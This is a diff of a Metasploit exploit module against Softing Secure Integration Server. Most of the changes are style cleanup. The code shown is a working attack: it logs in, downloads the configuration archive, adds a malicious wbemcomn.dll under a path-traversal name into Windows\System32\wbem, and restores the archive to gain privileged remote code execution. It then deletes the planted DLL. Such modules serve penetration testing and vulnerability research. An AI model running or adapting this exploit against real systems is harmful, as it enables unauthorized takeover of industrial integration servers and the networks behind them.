@@ -30,36 +30,32 @@ def initialize(info = {})
30
30
A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.
31
31
} ,
32
32
'License' => MSF_LICENSE ,
33
- 'Author' =>
34
- [
35
- 'Chris Anastasio (muffin) of Incite Team' , # discovery
36
- 'Steven Seeley (mr_me) of Incite Team' , # discovery
37
- 'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com' , # msf module
38
- ] ,
39
- 'References' =>
40
- [
41
- [ 'CVE' , '2022-1373' ] ,
42
- [ 'CVE' , '2022-2334' ] ,
43
- [ 'ZDI' , '22-1154' ] ,
44
- [ 'ZDI' , '22-1156' ] ,
45
- [ 'URL' , 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html' ] ,
46
- [ 'URL' , 'https://ide0x90.github.io/softing-sis-122-rce/' ]
47
- ] ,
48
- 'DefaultOptions' =>
49
- {
50
- 'RPORT' => 8099 ,
51
- 'SSL' => false ,
52
- 'EXITFUNC' => 'thread' ,
53
- 'WfsDelay' => 300
54
- } ,
33
+ 'Author' => [
34
+ 'Chris Anastasio (muffin) of Incite Team' , # discovery
35
+ 'Steven Seeley (mr_me) of Incite Team' , # discovery
36
+ 'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com' , # msf module
37
+ ] ,
38
+ 'References' => [
39
+ [ 'CVE' , '2022-1373' ] ,
40
+ [ 'CVE' , '2022-2334' ] ,
41
+ [ 'ZDI' , '22-1154' ] ,
42
+ [ 'ZDI' , '22-1156' ] ,
43
+ [ 'URL' , 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html' ] ,
44
+ [ 'URL' , 'https://ide0x90.github.io/softing-sis-122-rce/' ]
45
+ ] ,
46
+ 'DefaultOptions' => {
47
+ 'RPORT' => 8099 ,
48
+ 'SSL' => false ,
49
+ 'EXITFUNC' => 'thread' ,
50
+ 'WfsDelay' => 300
51
+ } ,
55
52
'Platform' => 'win' ,
56
53
# the software itself only supports x64, see
57
54
# https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html
58
55
'Arch' => [ ARCH_X64 ] ,
59
- 'Targets' =>
60
- [
61
- [ 'Windows x64' , { 'Arch' => ARCH_X64 } ]
62
- ] ,
56
+ 'Targets' => [
57
+ [ 'Windows x64' , { 'Arch' => ARCH_X64 } ]
58
+ ] ,
63
59
'DefaultTarget' => 0 ,
64
60
'DisclosureDate' => '2022-07-27' ,
65
61
'Privileged' => true ,
@@ -99,7 +95,7 @@ def checker_instance
99
95
configure_http_login_scanner (
100
96
host : datastore [ 'RHOSTS' ] ,
101
97
port : datastore [ 'RPORT' ] ,
102
- connection_timeout : 5 ,
98
+ connection_timeout : 5
103
99
)
104
100
) . dup
105
101
end
@@ -128,7 +124,7 @@ def check
128
124
129
125
# the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory
130
126
# so we will not continue if the version is not vulnerable
131
- unless softing_version < Rex ::Version . new ( " 1.30" )
127
+ unless softing_version < Rex ::Version . new ( ' 1.30' )
132
128
return CheckCode ::Safe
133
129
end
134
130
@@ -137,19 +133,19 @@ def check
137
133
print_status ( "#{ peer } - Authenticating as user #{ datastore [ 'USERNAME' ] } with signature #{ datastore [ 'SIGNATURE' ] } ..." )
138
134
# send a GET request to /runtime/core/user/<username>/authentication
139
135
signature_check_res = signature_check ( datastore [ 'USERNAME' ] , datastore [ 'SIGNATURE' ] )
140
-
136
+
141
137
# if we cannot connect at this point, we only know that the version is < 1.30
142
138
# the system "appears" to be vulnerable
143
139
unless signature_check_res
144
140
print_error ( "#{ peer } - Connection failed!" )
145
141
end
146
142
147
143
# if the signature is correct, 200 OK is returned
148
- unless signature_check_res . code == 200
149
- print_error ( "#{ peer } - Signature #{ datastore [ 'SIGNATURE' ] } is invalid for user #{ datastore [ 'USERNAME' ] } !" )
150
- else
144
+ if signature_check_res . code == 200
151
145
print_good ( "#{ peer } - Signature #{ datastore [ 'SIGNATURE' ] } is valid for user #{ datastore [ 'USERNAME' ] } " )
152
146
@signature = datastore [ 'SIGNATURE' ]
147
+ else
148
+ print_error ( "#{ peer } - Signature #{ datastore [ 'SIGNATURE' ] } is invalid for user #{ datastore [ 'USERNAME' ] } !" )
153
149
end
154
150
# login with username and password
155
151
else
@@ -165,10 +161,10 @@ def check
165
161
end
166
162
167
163
# if the signature is correct, 200 OK is returned
168
- unless signature_check_res . code == 200
169
- print_error ( "#{ peer } - Invalid credentials!" )
170
- else
164
+ if signature_check_res . code == 200
171
165
print_good ( "#{ peer } - Valid credentials provided" )
166
+ else
167
+ print_error ( "#{ peer } - Invalid credentials!" )
172
168
end
173
169
end
174
170
@@ -185,29 +181,29 @@ def exploit
185
181
end
186
182
187
183
# did the operator specify a custom DLL? If not...
188
- unless datastore [ 'DLLPATH' ]
184
+ if datastore [ 'DLLPATH' ]
185
+ # otherwise, just use their provided DLL and assume they compiled everything correctly
186
+ # there is no way to check if it's compiled correctly anyway
187
+ dll_path = datastore [ 'DLLPATH' ]
188
+ else
189
189
# have MSF create the malicious DLL
190
190
path = ::File . join ( Msf ::Config . data_directory , 'exploits' , 'CVE-2022-2334' )
191
191
arch = target [ 'Arch' ] == ARCH_ANY ? payload . arch . first : target [ 'Arch' ]
192
192
datastore [ 'EXE::Path' ] = path
193
193
datastore [ 'EXE::Template' ] = ::File . join ( path , "template_#{ arch } _windows.dll" )
194
194
195
- print_status ( " Generating payload DLL..." )
195
+ print_status ( ' Generating payload DLL...' )
196
196
dll = generate_payload_dll
197
- dll_name = " wbemcomn.dll"
197
+ dll_name = ' wbemcomn.dll'
198
198
dll_path = store_file ( dll , dll_name )
199
199
print_status ( "Created #{ dll_path } " )
200
- else
201
- # otherwise, just use their provided DLL and assume they compiled everything correctly
202
- # there is no way to check if it's compiled correctly anyway
203
- dll_path = datastore [ 'DLLPATH' ]
204
200
end
205
201
206
202
# backup the Softing SIS configuration
207
203
print_status ( "#{ peer } - Saving configuration..." )
208
204
get_config_zip_res = send_request_cgi ( {
209
205
'method' => 'GET' ,
210
- 'uri' => " /runtime/core/config-download" ,
206
+ 'uri' => ' /runtime/core/config-download' ,
211
207
'vars_get' => {
212
208
'User' => datastore [ 'USERNAME' ] ,
213
209
'Signature' => @signature
@@ -240,13 +236,13 @@ def exploit
240
236
241
237
# insert the malicious DLL
242
238
Zip ::File . open ( config_zip_path , Zip ::File ::CREATE ) do |zipfile |
243
- zipfile . add ( " ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ Windows\\ System32\\ wbem\\ wbemcomn.dll" , dll_path )
239
+ zipfile . add ( ' ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll' , dll_path )
244
240
end
245
241
246
242
# restore the configuration
247
243
restore_config_res = send_request_cgi ( {
248
244
'method' => 'PUT' ,
249
- 'uri' => " /runtime/core/config-restore" ,
245
+ 'uri' => ' /runtime/core/config-restore' ,
250
246
'cookie' => "systemLang=en-US; lang=en; User=#{ datastore [ 'USERNAME' ] } ; Signature=#{ @signature } " ,
251
247
'vars_get' => {
252
248
'User' => datastore [ 'USERNAME' ] ,
@@ -269,25 +265,25 @@ def exploit
269
265
end
270
266
271
267
# if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
272
- register_file_for_cleanup ( " C:\\ Windows\\ System32\\ wbem\\ wbemcomn.dll" )
268
+ register_file_for_cleanup ( ' C:\\Windows\\System32\\wbem\\wbemcomn.dll' )
273
269
end
274
270
275
271
# clean up the planted DLL if the session is meterpreter
276
272
def on_new_session ( session )
277
273
if session . type != 'meterpreter'
278
- print_error ( " Meterpreter not used. Please manually remove C:\\ Windows\\ System32\\ wbem\\ wbemcomn.dll" )
274
+ print_error ( ' Meterpreter not used. Please manually remove C:\\Windows\\System32\\wbem\\wbemcomn.dll' )
279
275
return
280
276
end
281
277
282
278
# load stdapi
283
- session . core . use ( " stdapi" ) if not session . ext . aliases . include? ( " stdapi" )
279
+ session . core . use ( ' stdapi' ) if ! session . ext . aliases . include? ( ' stdapi' )
284
280
285
281
begin
286
- files = session . fs . file . search ( " C:\\ Windows\\ System32\\ wbem" , " wbemcomn.dll" )
287
- files . each { |f |
288
- print_warning ( "Deleting: #{ f [ 'path' ] + " \\ " + f [ 'name' ] } " )
289
- session . fs . file . rm ( f [ 'path' ] + " \\ " + f [ 'name' ] )
290
- }
282
+ files = session . fs . file . search ( ' C:\\Windows\\System32\\wbem' , ' wbemcomn.dll' )
283
+ files . each do |f |
284
+ print_warning ( "Deleting: #{ f [ 'path' ] + '\\' + f [ 'name' ] } " )
285
+ session . fs . file . rm ( f [ 'path' ] + '\\' + f [ 'name' ] )
286
+ end
291
287
rescue ::Exception => e
292
288
print_error ( "Unable to delete - #{ e } " )
293
289
end
@@ -308,12 +304,12 @@ def store_file(data, filename)
308
304
309
305
fname = ::File . split ( fname ) . last
310
306
311
- fname . gsub! ( /[^a-z0-9\. \_ \ - ]+/i , '' )
307
+ fname . gsub! ( /[^a-z0-9._ -]+/i , '' )
312
308
fname << ".#{ ext } "
313
309
314
310
path = File . join ( "#{ Msf ::Config . local_directory } /" , fname )
315
311
full_path = ::File . expand_path ( path )
316
- File . open ( full_path , "wb" ) { |fd | fd . write ( data ) }
312
+ File . open ( full_path , 'wb' ) { |fd | fd . write ( data ) }
317
313
318
314
full_path . dup
319
315
end
0 commit comments